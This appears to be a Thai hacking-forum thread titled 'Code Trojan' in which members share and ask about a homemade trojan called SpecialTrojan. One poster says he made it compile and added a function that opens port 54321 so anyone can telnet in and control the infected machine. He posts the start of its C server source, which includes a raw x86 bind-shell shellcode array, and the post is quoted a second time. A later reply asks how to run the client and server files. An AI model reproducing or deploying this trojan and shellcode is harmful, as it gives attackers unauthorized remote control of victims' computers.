Code Trojan

ทำ Trojan กันดีก่า

**Hidden Content: To see this hidden content your post count must be 5 or greater.**

เป็นสมาชิคใหม่ครับ ฝากเนื้อฝากตัวด้วยน๊า

งง

ผมได้แก้ใขให้มันคอมไพล์ผ่านแล้วครับ

ทดสอบ บน vc 2005
ความคิดของผมนะครับ เป็นโทรจันที่ตลกดี และเป็น โทรจันง่ายๆ เหมาะแก่การศึกษา

ทำอะไรไม่ได้มาก แต่ผมได้เพิ่มฟังก์ชัน Shell@54321 ซึ่ง โปรแกรมจะเปิด ให้คุณtelnet เข้าไปควบคุมเครื่องทางพอร์ต 54321 โดยตรงครับ


ยังไงก็ขอบคุณ silent ที่เอาโค๊ตต้นฉบับมาโพสไว้ อย่างน้อยผมก็มีอะไรทำแล้ว เย่
[hide=21]Server
[code]
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#ifndef _MT
#define _MT
#endif
#include <process.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "winmm.lib")
#define backlog 1
typedef void(*exec )(void *);
unsigned char shellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\xd4\x31\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";
BOOL KillProcessByName(char *szProcessToKill);

typedef BOOL (WINAPI *TH32_PROCESS)

อยากอ่านจัง แต่ก็ขอบคุณนะครับ

Quote:

---

อยากอ่านจัง แต่ก็ขอบคุณนะครับ [/b]

---

aaforever : ไงก็ระวังเรื่องลักษณะการโพส ขอบคุณแบบนี้ด้วยครับผม เดี๋ยวจะเข้าข่าย ขอบคุณไร้สาระ ตามเตือนที่นี่ ไม่ต้อง ไปถึงหน้า ShotBox หวังให้ท่านพัฒนาขึ้นครับผม

Quote:

---

Originally Posted by nant

ผมได้แก้ใขให้มันคอมไพล์ผ่านแล้วครับ

ทดสอบ บน vc 2005
ความคิดของผมนะครับ เป็นโทรจันที่ตลกดี และเป็น โทรจันง่ายๆ เหมาะแก่การศึกษา

ทำอะไรไม่ได้มาก แต่ผมได้เพิ่มฟังก์ชัน Shell@54321 ซึ่ง โปรแกรมจะเปิด ให้คุณtelnet เข้าไปควบคุมเครื่องทางพอร์ต 54321 โดยตรงครับ


ยังไงก็ขอบคุณ silent ที่เอาโค๊ตต้นฉบับมาโพสไว้ อย่างน้อยผมก็มีอะไรทำแล้ว เย่
[hide=21]Server
[code]
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#ifndef _MT
#define _MT
#endif
#include <process.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "winmm.lib")
#define backlog 1
typedef void(*exec )(void *);
unsigned char shellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\xd4\x31\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";
BOOL KillProcessByName(char *szProcessToKill);

typedef BOOL (WINAPI *TH32_PROCESS)

---

ช่วยอธิบายให้ ฟังหน่อยครับ ว่ามัน ต้องทำยังไง คือผมโหลดมาแล้ว มันได้มา 2ไฟล์

1.SpecialTrojan V 4.0 - Client

-main.cpp
-main.o
-Makefile.win
-SpecialTrojan V 4.0 - Client.exe.dev

2.SpecialTrojan V 4.0 - Server

-main.cpp
-main.o
-Makefile.win
-SpecialTrojan V 4.0
- Server.exe.dev

เนี่ยครับ แล้วมันต้องทำยังไงต่อ หรอครับ ช่วยบอกด้วยครับ